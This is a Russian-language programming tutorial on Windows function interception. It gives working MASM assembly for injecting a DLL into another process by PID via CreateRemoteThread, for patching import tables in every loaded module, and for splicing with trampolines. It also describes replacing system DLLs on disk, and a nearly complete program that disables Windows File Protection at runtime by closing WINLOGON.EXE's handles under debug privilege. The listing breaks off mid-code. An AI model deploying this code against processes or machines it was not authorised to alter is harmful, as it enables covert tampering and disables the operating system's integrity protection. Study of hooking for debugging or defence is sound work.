Windows предоставляет функцию, которая называется KERNEL32.DLL!CreateRemoteThread. Она позволяет создать новый поток внутри удаленного процесса. Мы заставляем вызвать функцию KERNEL32.DLL!LoadLibrary потоком целевого процесса для загрузки нужной DLL. Одним из параметров функции KERNEL32.DLL!CreateRemoteThread является lpStartAddress, который означает адрес процедуры потока. Процедура потока принимает один параметр. KERNEL32.DLL!LoadLibrary принимает также один параметр. Т.е. как стартовый адрес удаленного потока мы можем указать адрес функции KERNEL32.DLL!LoadLibrary. При этом мы пользуемся тем, что KERNEL32.DLL проецируется во всех виртуальных адресных пространствах по одному и тому же адресу и из этого соображения предполагаем, что в удаленном процессе функция KERNEL32.DLL!LoadLibrary тоже находиться по тому же адресу что и в нашем процессе.
Еще один важный момент заключается в параметре, который передается потоку и соответственно функции LoadLibrary. Мы должны передать адрес строки с именем функции. Адрес этот должен обязательно находиться в адресном пространстве целевого процесса, т.е. мы должны скопировать эту строку туда. Выделения виртуальной памяти в удаленном процессе производиться c помощью функции KERNEL32.DLL!VirtualAllocEx. Осуществлять запись и чтение памяти чужого процесса можно с помощью функций KERNEL32.DLL!WriteProcessMemory и KERNEL32.DLL!ReadProcessMemory соответственно. Освободить выделенный регион можно с помощью функции KERNEL32.DLL!VirtualFreeEx.
Вот код программы с помощью, которой внедряется DLL:
Пример:
Код (Text):
;======================================================= ; П Р О Г Р А М М А ; Внедрение DLL в адресное пространство чужого процесса ; Дата: 01.07.2005 ; Автор: Bill Prisoner / TPOC ;======================================================= ;=============================================================================== ; Options and Includes ;=============================================================================== .386 option casemap:none .model flat,stdcall include \tools\masm32\include\windows.inc includelib \tools\masm32\lib\kernel32.lib include \tools\masm32\include\kernel32.inc include \tools\masm32\include\user32.inc includelib \tools\masm32\lib\user32.lib include \tools\masm32\include\advapi32.inc includelib \tools\masm32\lib\advapi32.lib ;=============================================================================== ;=============================================================================== ; Initialized Data Section ;=============================================================================== .data lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс dwSize equ $-lib;Размер строки с именем DLL kernelName db "kernel32.dll",0;Имя Kernel32.dll loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA _LoadLibrary dd 0;Адрес функции LoadLibrary ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе ThreadId dd 0;Идентификатор треда PID dd 1700;Идентификатор целевого процесса ;=============================================================================== ;=============================================================================== ; Uninitialized Data Section ;=============================================================================== .data? hProcess dd ? ;=============================================================================== ;=============================================================================== ; Code Section ;=============================================================================== .code start: ;Открываем процесс куда будем внедрять DLL invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \ PROCESS_VM_OPERATION,0,PID mov hProcess,eax ;Получаем описатель модуля Kernel32.dll invoke GetModuleHandle,offset kernelName ;Получаем адрес функции LoadLibrary invoke GetProcAddress,eax,offset loadlibraryName mov _LoadLibrary,eax ;Выделяем память в удаленном процессе invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT, \ PAGE_READWRITE mov ParameterForLoadLibrary,eax ;Запись строки с именем DLL в АП чужого процесса invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL ;Создаем удаленный поток, который вызывает LoadLibrary, ;тем самым внедряем DLL в адресное пространство чужого процесса. invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary, \ ParameterForLoadLibrary,NULL,offset ThreadId invoke ExitProcess,0 end start ;=============================================================================== ; End Program ;===============================================================================Пример Закончен.
После внедрения DLL вызывается DllMain с параметром DLL_PROCESS_ATTACH. Именно при обработке этого параметра мы устанавливаем перехватчик.
Способы перехвата функций
Правка таблицы импорта
При вызове Win32-приложением функции экспортируемой из другого модуля, например
CALL MessageBoxA,0
компилятор генерирует код следующего вида:
CALL X, где X – адрес переходника вида jmp dword ptr [Y], где Y – адрес адреса функции в IAT(Import Address Table), которую заполняет при загрузке модуля загрузчик. При особой настройке компилятора вызов может быть таким CALL DWORD PTR [Y]. Суть метода перехвата заключается в том, чтобы править значения, которые находятся по адресу Y, т.е. правка значений в таблице адресов импорта. Сначала мы сохраняем реальный адрес перехватываемой функции. Потом проходимся по IAT и правим этот реальный адрес на адрес нашего обработчика. Но править придется IAT всех модулей в данный момент загруженный в АП процесса, а также всех динамически подгружаемых. В первом случае необходимо решить задачу получения списка всех модулей загруженных в АП процесса. Во втором случае мы должны перехватывать функции LoadLibraryA, ; LoadLibraryW, LoadLibraryExA, LoadLibraryExW. Также необходимо сделать так, чтобы функция GetProcAddress возвращала адрес нашего перехватчика, если вдруг жертва захочет получить реальный адрес функции, которую мы перехватываем. Это можно делать двумя способами – перехватом GetProcAddress или правкой таблицы экспорта модуля, где находиться перехватываемая функция. У этого способа есть один очень большой недостаток – функции, которые не содержатся в таблице импорта, перехватываться не будут, если только мы не будем осуществлять перехват прямо при начальной загрузке процесса. Обычно перехват делается для процесса, который уже работает. Например, программа получает адрес функции с помощью GetProcAddress, а потом мы уже делаем перехват. Тогда программа минует наш обработчик и вызовет правильную функцию.
Сначала я опишу процедуру, которая правит IAT указанного одним из параметров модуля. Я назвал эту процедуру EdiIATLocal. Например, мы перехватываем функцию, адрес которой X. Тогда процедура EditIATLocal анализирует таблицу импорта указанного модуля и если она встречает там адрес X, то функция меняет X на адрес нашего обработчика, который также передается как параметр функции.
Пример:
Код (Text):
;===============================================================================; ;Процедура EditIATLocal ;Описание: ;Перехват вызовов функций редактированием IAT в одном модуле ;Вход: Address адрес внутри файла в памяти ; ModName - указатель на имя модуля, IAT которого мы будем править. Регистр ; не важен. ; Orig - адрес функции, которую перехватываем ; New - адрес нашего обработчика ; ModHandle - описатель модуля, где находиться функция для перехвата. ; Например, описатель KERNEL32.DLL ;Выход: 1 - перехватили, 0 - не перехватили ;===============================================================================; EditIATLocal proc ModName:DWORD, Orig:DWORD, New:DWORD, ModHandle:DWORD LOCAL OldProtect:DWORD ;Получаем адрес таблицы директорий mov eax,ModHandle assume eax:ptr IMAGE_DOS_HEADER add eax,[eax].e_lfanew add eax,4 add eax,sizeof IMAGE_FILE_HEADER mov edi,eax assume edi:ptr IMAGE_OPTIONAL_HEADER lea edi,[edi].DataDirectory mov eax,edi ;Получаем адрес таблицы импорта assume eax:ptr IMAGE_DATA_DIRECTORY lea eax,[eax+(sizeof IMAGE_DATA_DIRECTORY)*IMAGE_DIRECTORY_ENTRY_IMPORT] .IF dword ptr [eax]==0 move ax,FALSE ret;Нет таблицы импорта .ENDIF mov esi,ModHandle add esi,dword ptr [eax];В esi - адрес таблицы импорта assume esi:PTR IMAGE_IMPORT_DESCRIPTOR NextDLL:;очередная запись в таблице импорта .IF [esi].Name1==NULL;Конец таблицы импорта? mov eax,FALSE ret .ENDIF mov ecx,[esi].Name1 add ecx,ModHandle invoke lstrcmpi,ModName,ecx;тот ли это модуль? .IF EAX!=0 add esi,sizeof IMAGE_IMPORT_DESCRIPTOR jmp NextDLL .ENDIF ;Если дошли до сюда, то нашли имя модуля mov edi,ModHandle add edi,[esi].FirstThunk;В EDI - IAT assume edi:PTR IMAGE_THUNK_DATA NextFunction:;перебираем все импортируемые функции .IF [edi].u1.Function==0;IAT закончилась add esi,sizeof IMAGE_IMPORT_DESCRIPTOR jmp NextDLL .ENDIF mov eax,[edi].u1.Function .IF Orig==eax;Нашли!!! ;Разрешим запись на нужную страницу invoke VirtualProtect,edi,4,PAGE_EXECUTE_READWRITE,ADDR OldProtect call GetCurrentProcess mov ecx,eax lea eax,New ;Сменим адрес функции на адрес обработчика invoke WriteProcessMemory,ecx,edi,eax,4,NULL ;Воостановим прежние аттрибуты invoke VirtualProtect,edi,4,OldProtect,ADDR OldProtect mov eax,TRUE ret .ENDIF add edi,sizeof IMAGE_THUNK_DATA jmp NextFunction EditIATLocal endp ;===============================================================================;Пример Закончен.
А процедура EditIATGlobal правит IAT всех модулей процесса, в котором она вызывается. Мы вызываем ее в процедуре DllMain DLL, которую мы будет внедрять в адресное пространство процесса-жертвы. Она просто перечисляет все модули в адресном пространстве текущего процесса с помощью ToolHelp-функций, а потом последовательно вызывает для каждого модуля процедуру EditIATLocal, которую я описал чуть выше.
Пример:
Код (Text):
;===============================================================================; ;Процедура EditIATGlobal ;Описание: ;Перехват вызовов функций редактированием IAT во всех модулях процесса ;Вход: Address адрес внутри файла в памяти ; ModName - указатель на имя модуля, IAT которого мы будем править. ; Регистр не важен. ; Orig - адрес функции, которую перехватываем ; New - адрес нашего обработчика ;Выход: нет ;===============================================================================; EditIATGlobal proc ModName:DWORD, Orig:DWORD, New:DWORD LOCAL Current:DWORD LOCAL hSnap:DWORD push offset NextMod call GetBase mov Current,eax;Получили хэндл своего модуля mov ecx,eax invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,NULL mov hSnap,eax mov ModEntry.dwSize,sizeof MODULEENTRY32 invoke Module32First,hSnap,offset ModEntry NextMod: mov eax,Current .IF eax!=ModEntry.hModule;В своем модуле не будем перехватывать! push ModEntry.hModule push New push Orig push ModName call EditIATLocal;Перехватываем в этом модуле .ENDIF invoke Module32Next,hSnap,offset ModEntry;Следующий модуль .IF eax!=0 jmp NextMod .ENDIF invoke CloseHandle,hSnap mov eax,1 ret EditIATGlobal endp ;===============================================================================;Пример Закончен.
В функции DLLMain DLL, которую мы впоследствии будем внедрять во все процессы мы должны обрабатывать reason следующим образом:
Пример:
Код (Text):
DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD push esi push edi push ebx push ebp .if reason==DLL_PROCESS_ATTACH ;Получаем описатель модуля, где нах-ся перехватываемая функция invoke GetModuleHandle,offset nt invoke GetProcAddress,eax,offset Exitstr;ExitStr - имя перехватываемой функции push offset start push eax push offset nt ;Устанавливаем перехват функции Exitstr из модуля nt. call EditIATGlobal .elseif reason==DLL_PROCESS_DETACH .elseif reason==DLL_THREAD_ATTACH .else ; DLL_THREAD_DETACH .endif pop ebp pop ebx pop edi pop esi mov eax,TRUE ret DllEntry EndpПример Закончен.
Простой пример – перехват MessageBox
Я приложил к статье исходный код DLL, которая перехватывает функции USER32.DLL!MessageBoxA и USER32.DLL!MessageBoxW в целевом процессе. Файлы исходного кода этой DLL находиться в папке HookMessBox. Чтобы посмотреть как работает перехват этих функций Вы можете использовать для внедрения мою программу DLL Injector. Например, попробуйте внедрить эту DLL в блокнот, напечатать чего-нибудь и потом нажать на крестик закрытия окна.
Перехват LoadLibrary
Чтобы распространить перехват на новые подгружаемые DLL, необходимо перехватывать KERNEL32.DLL!LoadLibrary. Используя функцию EditIATLocal Вы сможете с легкостью перехватить вызов KERNEL32.DLL!LoadLibrary таким образом, чтобы после загрузки новой DLL она сразу же обрабатывалась.
Сплайсинг
Сначала определяется адрес функции, которую надо перехватить. Первый несколько байт данной функции заменяются на переход к нашему обработчику. Теперь, если будет вызвана перехватываемая функция, то произойдет переход на наш обработчик. Если нужно вызвать оригинальную функцию, то необходимо восстановить исходные байты. С помощью этого метода перехватываются абсолютно все вызовы из любых модулей, и при этом не надо делать ничего дополнительного. Этот метод хорош во всех отношениях, если бы не одно НО…Люди, которые понимают что-нибудь в многозадачности сразу учуяли что-то не-то. Представьте, что какой-то поток правит начало функции джапмом, но вдруг ОС отнимает у него управление и передает его другому потоку. А тот обращается к недоконца подправленной функции. В итоге произойдет ошибка и приложение, скорее всего, слетит. Есть решение этой проблемы, - останавливать все потоки, когда начало функции правиться и когда вызывается ее перехватчик (ведь перехватчик тоже правит начало функции, чтобы вызывать ее оригинал). Все эти вещи реализуются очень просто. Давайте рассмотрим функции, которые приостанавливают и запускают потоки, соответственно. Нашей задачей опять будет перехват функций USER32.DLL!MessageBoxA.
Пример:
Код (Text):
;Приостановка всех потоков, кроме вызывающего SuspendThreads proc invoke GetModuleHandle,offset kern invoke GetProcAddress,eax,offset OpenThreadStr mov _OpenThread,eax invoke GetCurrentThreadId mov CurrThread,eax invoke GetCurrentProcessId mov CurrProcess,eax invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0 .if eax==-1 xor eax,eax ret .endif mov hSnap,eax mov Thread.dwSize,sizeof THREADENTRY32 invoke Thread32First,hSnap,offset Thread .if eax==0 xor eax,eax ret .endif NextThread: mov eax,CurrThread mov edx,CurrProcess .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx) push Thread.th32ThreadID push NULL push THREAD_SUSPEND_RESUME call _OpenThread mov ThreadHandle,eax .if ThreadHandle>0 invoke SuspendThread,ThreadHandle invoke CloseHandle,ThreadHandle .endif .endif invoke Thread32Next,hSnap,offset Thread .if eax!=0 jmp NextThread .endif invoke CloseHandle,hSnap ret SuspendThreads endpПример Закончен.
Пример:
Код (Text):
;Возобновление всех потоков ResumeThreads proc invoke GetModuleHandle,offset kern invoke GetProcAddress,eax,offset OpenThreadStr mov _OpenThread,eax invoke GetCurrentThreadId mov CurrThread,eax invoke GetCurrentProcessId mov CurrProcess,eax invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0 .if eax==-1 xor eax,eax ret .endif mov hSnap,eax mov Thread.dwSize,sizeof THREADENTRY32 invoke Thread32First,hSnap,offset Thread .if eax==0 xor eax,eax ret .endif NextThread: mov eax,CurrThread mov edx,CurrProcess .if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx) push Thread.th32ThreadID push NULL push THREAD_SUSPEND_RESUME call _OpenThread mov ThreadHandle,eax .if ThreadHandle>0 invoke ResumeThread,ThreadHandle invoke CloseHandle,ThreadHandle .endif .endif invoke Thread32Next,hSnap,offset Thread .if eax!=0 jmp NextThread .endif invoke CloseHandle,hSnap ret ResumeThreads endpПример Закончен.
В процедуру ResumeThreads не учитывается, что поток можем остановить не мы. Но это допущение для большинства приложений не является критическим.
Простой пример – перехват MessageBox
После того, как мы нашли реальный адрес функции MessageBoxA, мы сохраняет старые 6 байт по некоторому адресу. Далее мы записываем по этому адресу переход на наш обработчик. Код перехода выглядит так:
Пример:
Код (Text):
code1 label byte db 68h ;ОПКОД команды PUSH Hooker1 dd 0;ОПЕРАНД команды PUSH db 0c3h;ОПКОД RET size_code1 equ $-code1Пример Закончен.
А вот функция, которая как раз делает то, к чему мы стремились – осуществляет перехват:
Пример:
Код (Text):
SetHook proc NameFunc:dword,NameModul:dword invoke GetModuleHandle,NameModul invoke GetProcAddress,eax,NameFunc mov RealAddr1,eax;сохраняем адрес перехватываемой функции invoke ReadProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0 mov Hooker1,offset Hooker invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0 ret SetHook endpПример Закончен.
Также нужен код, который позволяет выполнить оригинальную функцию, т.е. временно убрать перехват:
Пример:
Код (Text):
TrueMessageBoxA proc x:dword,x1:dword,x2:dword,x3:dword call SuspendThreads ;восстанавливаем старые байты invoke WriteProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0 push x3 push x2 push x1 push x call MessageBoxA;вызываем оригинальную функцию MessageBoxA push eax invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0;восстанавливаем перехват call ResumeThreads pop eax ret TrueMessageBoxA endpПример Закончен.
А вот и сам перехватчик. Т.е. код на который мы прыгаем, при вызове перехватываемой функции.
Пример:
Код (Text):
Hooker proc x:dword,x1:dword,x2:dword,x3:dword push x3 push offset TitleMessage push offset TextMessage push x call TrueMessageBoxA ret Hooker endpПример Закончен.
Сплайсинг с сохранением оригинальной функции
Когда мы устанавливаем перехват с помощью сплайсинга, мы затираем первые несколько байт оригинальной функции. Если мы используем относительный JMP, то мы затираем первые 5 байт. Перед затиркой мы сохраняем эти 5 байт. Когда нам нужно вызвать оригинальную функцию, мы записываем сохраненные байты по адресу точки входа функции. Вот здесь есть проблеме связанная с реентерабельностью. Мы можем избавиться от этой проблемы. Мы должны всего лишь сохранить первые инструкции, размер которых больше или равно 5 байтам (в случае, если мы затираем начало функции относительным JMP). Тогда если мы хотим вызвать оригинальную функцию, мы вызываем инструкции по адресу, по которому мы сохраняли затертые инструкции. После выполнения этих затертых инструкций мы выполняем инструкцию JMP на адрес в перехватываемой функции, где начинается следующая инструкция. Таким образом, логика работы оригинальной функции совершенно не меняется. При этом мы можем ее вызывать без особых функций. Самая главная здесь сложность – это как определить начало следующей инструкции, т.е. здесь нам необходим дизассемблер длин. Ему на вход подается адрес, а выход – это количество байт, занимаемых инструкцией по входному адресу.
Чтобы понять смысл этого метода рассмотрим простой пример. Во-первых, определим место, куда мы будем копировать инструкции, которые могут быть затерты. Мы сделаем это так:
Код (Text):
old_func db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, \ 090h, 090h, 090h, 090h, 090h, 090h, 090h, 0e9h, 000h, \ 000h, 000h, 000hМы будем сохранять инструкции по адресу old_func. Мы оставляем место для некоторого количества инструкций. Мы заполняем оставшееся место в буфере 090h, т.к. эта инструкция ничего не делает, в результате её выполнения просто инкрементируется регистр EIP. В конце буфера мы ставим относительный JMP, адрес, куда мы будем переходить в этой инструкции, мы потом должны заполнить. При вызове оригинальной функции мы вызываем ее так: CALL old_func
Допустим, мы перехватываем функцию Sleep.
До перехвата она выглядит так:
Код (Text):
KERNEL32.Sleep: 77E86779: 6A00 PUSH 0 77E8677B: FF742408 PUSH DWORD PTR [ESP+8] 77E8677F: E803000000 CALL Kernel32.SleepEx 77E86784: C20400 RET 00004HС помощью дизассемблера длин мы вычисляем последовательно длины команд. Если с начала функции сумма длин команд больше или равно 5, то сохраняем обработанные инструкции по адресу old_func. Для функции Sleep мы сохраняем 6 байт, т.е. два PUSH’а. Также мы запоминаем адрес 77E8677F – после выполнения двух PUSH’ей мы джампим на этот адрес.
После установки перехвата функция Sleep примет следующий вид:
Код (Text):
KERNEL32.Sleep: 77E86779: E937A95788 JMP 0004010B5H; 0004010B5H - адрес обработчика 77E8677E: 08 ? 77E8677F: E803000000 CALL Kernel32.SleepEx 77E86784: C20400 RET 00004HА код old_func будет таким:
Код (Text):
old_func: 00403027: 6A00 PUSH 0 00403029: FF742408 PUSH DOWRD PTR [ESP+8] 0040302D: 90 NOP 0040302E: 90 NOP 0040302F: 90 NOP 00403030: 90 NOP 00403031: 90 NOP 00403032: 90 NOP 00403033: 90 NOP 00403034: 90 NOP 00403035: 90 NOP 00403036: 90 NOP 00403037: E94337A877 JMP KERNEL32.77E8677FТаким образом, если мы хотим вызывать оригинальную функцию мы вызываем old_func – это и будет оригинальной функцией. old_func называется функцией-трамплином (trampoline function).
Этот метод используется в продукте для перехвата функций, который называется Detours.
Описанный способ не может работать если функция занимает меньше 5 байт. Эту проблему можно решить с помощью перехода не командой JMP, а командой INT 3(наш перехватчик в итоге будет обработчиком необработанных исключений). Команда INT 3 занимает 1 байт. Но производительность этого способа оставляет желать лучшего.
Перехват правкой системных библиотек на жестком диске
Можно разделить способы перехвата на перехват до запуска модуля и перехват после запуска модуля. При перехвате до запуска модуля, используется техника правки системных библиотек на жестком диске. Для этого необходимо проделать следующие шаги:
- Отключить защиту файлов ОС Windows (Windows File Protection).
- Переименовать файл системной библиотеки, которую мы заменяем.
- Создать правленую библиотеку и скопировать ее с оригинальным названием в системный каталог Windows, где она и была.
- После перезагрузки перехват будет глобален для всех процессов и для этого не нужно ничего более.
Чтобы осуществить все перечисленные шаги необходимо знать, что такое Windows File Protection и как его отключать без перезагрузки системы.
Windows File Protection
Windows File Protection – это сервис ОС, который защищает системные файлы ОС от изменения, повреждения или удаления. Впервые WFP появился в ОС Windows Millennium Edition. До появления WFP любая программа могла заменить системную библиотеку, что многие программы и делали при инсталляции. Из-за этого другие программы переставали работать и при этом могли забрать систему с собой в мир иной Такое положение вещей назвали “DLL Hell”. В Windows Millennium Edition все системные SYS, DLL, EXE, and OCX защищены. В дополнение TrueType шрифты Micross.ttf, Tahoma.ttf, и Tahomabd.ttf также защищены. Если происходит изменение, модификация или удаление защищенного файла, то система восстанавливает его из кэша DLL, который по умолчанию находиться в папке:
%SYSTEMROOT%\system32\dllcache
Этот путь можно изменить, изменив значение параметра реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDllCacheDir
Чтобы узнать, что был заменен какой-то из файлов, Windows просматривает каталоги безопасности и сверяет цифровые подписи. Если подпись какого-файла не соответствует подписи в каталоге безопасности, то Windows берет файлы из кэша. Потом Windows ищет эти файлы в сети, если была произведена установка оп сети. Если данный файл отсутствует в кэше и в сети, то Windows требует вставить оригинальный диск ОС. Можно включить принудительную проверку всех файлов ОС Windows с помощью утилиты sfc, которая доступна в стандартной комплектации ОС. Также при обнаружении исправленного или удаленного системного файл WFP записывает событие в лог событий, который можно посмотреть с помощью оснастки Event Log (%windir%\system32\eventvwr.msc). Следующие механизмы позволяют изменять системные файлы, не смотря на Windows File Protection:
- установка Windows Service Pack с использованием Update.exe
- установка хотфиксов с использованием Hotfix.exe
- Обновление ОС с использованием Winnt32.exe
- Windows Update
Чтобы без шума добраться до системных файлов и отредактировать их мы должны отключить WFP. Есть несколько способов сделать это. Например, с помощью редактирования реестра или с помощью правки файла sfc.dll или sfc_os.dll. Но эти способы теряют свою актуальность, потому что они либо работали с какой-то конкретной ОС, либо требуют перезагрузки и/или входа в безопасный режим ОС. Но есть способ отключения WFP прямо при работе. Давайте его и рассмотрим.
Отключение Windows File Protection на лету
WFP держится на двух DLL – SFC.DLL, SFC_OS.DLL. А код, который использует эти DLL находиться в WINLOGON.EXE. Модуль SFC_OS.DLL экспортирует функцию, которая экспортируется не по имени, а по ординалу и имеет ординал 1. Эта функция запускает систему защиты файлов. Если покопаться в коде этой функции, то можно увидеть, что она вызывает функцию NTDLL.DLL!NtNotifyChangeDirectoryFile. Это недокументированная функция, но на ней основывается другая функция, которая называется KERNEL32.DLL!FindFirstChangeNotification. Эта функция возвращает описатель, который можно использовать в функциях ожидания, например KERNEL32.DLL!WaitForSingleObject. Т.е. WFP устанавливает систему нотификации на системные папки. Если файлы в папке изменяются, то WFP сразу на это реагирует. Все что нам требуется чтобы отключить WFP – это закрыть все описатели, которые были возвращены NTDLL.DLL!NtNotifyChangeDirectoryFile. Эти описатели типа «файл». Если мы захотим отключить WFP, когда система работает, и если мы не хотим писать код, можно просто запустить утилиту Process Explorer или подобную ей, чтобы закрыть хэндлы объектов «файл». Например,
File Object – C:\WINDOWS\SYSTEM32\.
Закрывая этот описатель, мы можем изменять файлы в папке C:\WINDOWS\SYSTEM32 и Windows ничего не скажет. При реализации кода процедуры отключения WFP необходимо знать, как получить хэндлы открытых описателей. Это делается с помощью функции NtQuerySystemInformation. В MSDN она документирована, но не полностью и того, что нам нужно там нет. Приходиться использовать справочник Гарри Нэббета “Windows NT 2000 Native API Reference”.
Чтобы отключить таким образом WFP, необходимы отладочные привилегии, т.к. нам приходиться открывать процесс WINLOGON.EXE. А для того чтобы получить отладочные привилегии, необходимы привилегии администратора. Из этого следует, что этот способ будет работать только под учетной записью администратора или используя имперсонацию.
Для начала получаем идентификатор процесса WINLOGON.EXE. Он нужен для того, чтобы отличать хэндлы процесса WINLOGON.EXE от всех остальных. Чтобы получить идентификатор по имени модуля, используем функцию GetPIDbyName:
Пример:
Код (Text):
;===============================================================================; ; Процесс по имени ;===============================================================================; GetPIDbyName proc Str1:DWORD LOCAL pe:PROCESSENTRY32 LOCAL hSnap:DWORD invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov hSnap,eax mov pe.dwSize,sizeof pe invoke Process32First,hSnap,addr pe .if eax==0 ret .endif next_process: invoke Process32Next,hSnap,addr pe .if eax==0 ret .endif invoke lstrcmpi,addr pe.szExeFile,Str1 .if eax==0 mov eax,pe.th32ProcessID ret .endif jmp next_process GetPIDbyName endp ;===============================================================================;Пример Закончен.
В функции GetPIDbyName используем Toolhelp-функции для перечисления процессов в системе. Мы сравниваем имя полученного модуля со статической строкой “WINLOGON.EXE”. Сравнение идет с помощью API-функции lstrcmpi. Эта функция сравнивает строки не учитывая во внимание регистр символов.
Далее нам необходимо получить список всех описателей процесса WINLOGON.EXE. Но в ОС Windows нет функции, которая позволила бы получить описатели для конкретного процесса. Однако, как Вы уже знаете описатели можно получить с помощью Native функции NtQuerySystemInformation. Часть описания этой функции доступно в MSDN, но этого нам не достаточно. Более того там написано неправильно!!! :( Посмотрите на прототип этой функции:
Код (Text):
NTSTATUS NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );Давайте прочтем описание переменной ReturnLength:
«ReturnLength [out, optional] Optional pointer to a location where the function writes the actual size of the information requested. If that size is less than or equal to the SystemInformationLength parameter, the function copies the information into the SystemInformation buffer; otherwise, it returns an NTSTATUS error code and returns in ReturnLength the size of buffer required to receive the requested information.»
Вот здесь и есть ошибка в документации. На самом деле, если размер буфера меньше нужного, то параметр ReturnLength не заполняется. Так как размер буфера не перманентен, то нам приходиться инкрементно перебирать размеры. Если функция возвращает STATUS_INFO_LENGTH_MISMATCH, то размер буфера недостаточен. Вот код который находит нужный размер буфера:
Пример:
Код (Text):
;===============================================================================; ; Определям размер буфера для получения списка хэндлов ;===============================================================================; push offset SizeBuffer push 0 push 0 push 16;SystemHandleInformation call _NtQuerySystemInformation .if eax!=STATUS_INFO_LENGTH_MISMATCH jmp end_calc_size .endif next_calc_size: add SizeBuffer,01000h;Увеличиваем размер буфера на страницу .if pSystemHandleInfo!=0 invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE .endif invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE mov pSystemHandleInfo,eax push offset uBuff push SizeBuffer push pSystemHandleInfo push 16 call _NtQuerySystemInformation .if eax==STATUS_INFO_LENGTH_MISMATCH jmp next_calc_size .endif end_calc_size: ;===============================================================================;Пример Закончен.
После выполнения вышеприведенного кода, в pSystemHandleInfo содержится указатель на буфер. В буфере содержится количество описателей. А потом массив структур типа HandleInfo. Количество структур в этом буфере ровно соответствует первому двойному слову буфера. Эта структура определена следующим образом:
Код (Text):
Handle_Info struct Pid DWORD ? ObjectType WORD ? HandleValue WORD ? ObjectPointer DWORD ? AccessMask DWORD ? Handle_Info endsPid мы используем, чтобы узнать какому процессу принадлежит описатель. Также мы будем использовать параметр HandleValue для дублирования хэндлов.
После того как мы узнали, что данный описатель принадлежит процессу WINLOGON.EXE мы должны узнать имя объекта соответствующего данному описателю. Нас интересует имя \Device\HarddiskVolume1\WINDOWS\system32. А если точнее его часть WINDOWS\SYSTEM32. Закрывая эти описатели, мы отключаем Windows File Protection. Чтобы получить имя объекта по его описателю, мы вызываем функцию NtQueryObject. Эта Native функция полностью недокументированна. По крайней мере в MSDN VisualStudio .NET 2003 ее описание отсутствует. Но я знаю, что ее описание есть в DDK. Как бы то ни было, я взял прототип функции в книге Гарри Нэббета.
Мы вызываем функцию NtQueryObject, чтобы получить имя объекта соответствующее описателю. Далее мы сравниваем UNICODE-строку «WINDOWS\SYSTEM32»или «WINNT\SYSTEM32» с полученным именем объекта. Сравниваем мы с конца, идя в начало. Сравнение идет с помощью функции CompareStringsBackwards. В ней используются цепочечные операции пересылки слов. Длина сравнения зависит от длины строки «WINDOWS\SYSTEM32» или «WINNT\SYSTEM32». А вот и функция CompareStringsBackwards:
Пример:
Код (Text):
;===============================================================================; ; Сравнить строки назад ;===============================================================================; CompareStringBackwards proc pStr1:dword,pStr2:dword LOCAL Len1:DWORD LOCAL Len2:DWORD push esi push edi invoke lstrlenW,pStr1 mov Len1,eax invoke lstrlenW,pStr2 mov Len2,eax mov eax,Len1 .if eax>Len2 mov eax,0 ret .endif mov edx,Len1 add edx,Len1 mov edi,pStr1 add edi,edx mov edx,Len2 add edx,Len2 mov esi,pStr2 add esi,edx mov ecx,Len1 inc ecx std repe cmpsw add esi,2 add edi,2 xor eax,eax xor edx,edx mov ax,word ptr [esi] mov dx,word ptr [edi] .if (ecx==0)&&(eax==edx) mov eax,1 pop edi pop esi ret .else mov eax,0 pop edi pop esi ret .endif CompareStringBackwards endp ;===============================================================================;Пример Закончен.
Если строки равны и CompareStringsBackwards возвращает единицу, то мы переоткрываем описатель чтобы открыть его с правами DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS. Флаг DUPLICATE_CLOSE_SOURCE указывает, что функция DuplicateHandle закрывает указанный описатель в указанном процессе.
А теперь посмотрите полные код программки, которая отключает Windows File Protection во время работы ОС. После перезагрузки WFP опять будет включена.
Пример:
Код (Text):
;===============================================================================; ; П Р О Г Р А М М А ; Отключение Windows File Protection на лету ;===============================================================================; ;===============================================================================; ; Options and Includes ;===============================================================================; .386 option casemap:none .model flat,stdcall include \tools\masm32\include\windows.inc includelib \tools\masm32\lib\kernel32.lib include \tools\masm32\include\kernel32.inc include \tools\masm32\include\user32.inc includelib \tools\masm32\lib\user32.lib include \tools\masm32\include\advapi32.inc includelib \tools\masm32\lib\advapi32.lib ;===============================================================================; Handle_Info struct Pid DWORD ? ObjectType WORD ? HandleValue WORD ? ObjectPointer DWORD ? AccessMask DWORD ? Handle_Info ends UNICODE_STRING STRUCT woLength WORD ? ; len of string in bytes (not chars) MaximumLength WORD ? ; len of Buffer in bytes (not chars) Buffer DWORD ? ; pointer to string UNICODE_STRING ENDS System_Handle_Information struct nHandleEntries DWORD ? pHandleInfo DWORD ? System_Handle_Information ends CharUpperW PROTO :DWORD lstrlenW PROTO :DWORD STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h ;===============================================================================; ; Initialized Data Section ;===============================================================================; .data Priv db "SeDebugPrivilege",0 ntdll db "NTDLL.DLL",0 FuncName db "NtQuerySystemInformation",0 FuncName2 db "NtQueryObject",0 pSystemHandleInfo dd 0 SizeBuffer dd 0 winlogon_str db 